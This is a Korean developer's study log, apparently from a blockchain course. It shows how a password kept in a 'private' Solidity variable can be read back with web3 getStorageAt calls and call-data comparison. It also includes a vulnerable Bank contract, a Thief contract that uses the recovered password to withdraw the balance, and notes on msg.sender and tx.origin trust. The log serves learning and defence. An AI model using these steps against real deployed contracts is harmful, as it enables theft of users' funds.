[TIL] 2023-07-03 DAY69
GIT 주소
https://github.com/dowoo303/SOLIDITY
https://github.com/dowoo303/hardhat
오늘 배운것들
- 비밀번호와 owner 설정된 함수 뚫어보기
각종 팁
회고
- 포트폴리오 팁: 처음에는 이런 결과물을 만들었었는데, 나중에 내가 더욱 공부를 해서 첫 결과물을 봤더니 이런점이 부족해서 어떤 것을 보완해서 더욱 완벽하게 만들었다.(스토리 텔링: 나는 지속적으로 발전하는 사람임)
터미널 node
await web3.eth.getStorageAt(c_address, 0)
await web3.eth.getStorageAt(c_address, 1)
await web3.eth.getStorageAt(c_address, 2)
await web3.eth.getStorageAt(c_address, 3)
위 명령어를 이용해서 private한 정보들 빼내오기
똑같은 코드로 비밀번호만 다르게 컨트랙트 2개 배포
Debug -> call data 들고와서
https://text-compare.com/
위 사이트에서 비교
https://www.rapidtables.org/ko/convert/number/hex-to-decimal.html
위 사이트에서 다른 숫자들을 10진수로 변환하면 비밀번호를 알아낼 수 있음
contract C {
uint public a; // getStorageAt 0
bytes32 private b; // getStorageAt 1
bytes32 private b2; // getStorageAt 2
address owner; // getStorageAt 3
constructor(uint _pw) {
owner = msg.sender;
b = keccak256(abi.encodePacked(_pw));
b2 = keccak256(abi.encodePacked(owner, _pw));
}
function deposit() public payable {}
// 비밀번호만 검사
function withdraw(uint _pw) public {
bytes32 _b = keccak256(abi.encodePacked(_pw));
require(b == _b);
payable(msg.sender).transfer(address(this).balance);
}
// 비밀번호와 owner 검사
function withdraw2(uint _pw) public {
bytes32 _b2 = keccak256(abi.encodePacked(msg.sender, _pw));
require(b2 == _b2);
payable(msg.sender).transfer(address(this).balance);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
contract Bank {
uint public a;
bytes32 private b;
bytes32 private b2;
address owner;
constructor(uint _pw) {
owner = msg.sender;
b = keccak256(abi.encodePacked(_pw));
b2 = keccak256(abi.encodePacked(owner, _pw));
}
function setA(uint _a) public {
a = _a;
}
function getA() public view returns(uint){
return a;
}
function deposit() public payable{}
function withdraw(uint _pw) public {
bytes32 _b = keccak256(abi.encodePacked(_pw));
require(b == _b, "nope");
payable(msg.sender).transfer(address(this).balance);
}
function withdraw2(uint _pw) public {
bytes32 _b2 = keccak256(abi.encodePacked(msg.sender, _pw));
require(b2 == _b2);
payable(msg.sender).transfer(address(this).balance);
}
}
contract Thief {
Bank b;
constructor(address _a) {
b = Bank(_a);
}
function getA() public view returns(uint) {
return b.a();
}
function withdraw_Bank(uint _pw) public {
b.withdraw(_pw);
}
receive() external payable{}
}
withdraw를 특정 컨트랙트에게 허락해주고 코드 구성을 msg.sender로 하는 경우 돈을 가져갈 수는 없지만, 대신 돈을 계속 옮기는 행동은 외부에서 가능하다.
-> 따라서 컨트랙트와 컨트랙트 사이를 신뢰하는 구성은 위험할 수 있으며, 왠만하면 EOA(개인사용자)만을 신뢰하는 구성과 tx.origin을 섞는 것이 좋다.
contract A {
function getMSGSender() public view returns(address) {
return msg.sender; // msg.sender가 EOA로
}
}
contract B {
A a = new A();
function getMSG() public view virtual returns(address) {
return a.getMSGSender(); // msg.sender가 B로
}
}
contract D2 {
// B b = new B();
B b;
constructor(address _b) { // 신뢰받는 B 컨트랙트 주소
b = B(_b); // msg.sender가 B로
}
function getMSG() public view returns(address) {
return b.getMSG();
}
}
contract D is B{
function getMSG() public view override returns(address) {
return a.getMSGSender(); // msg.sender가 D로
}
}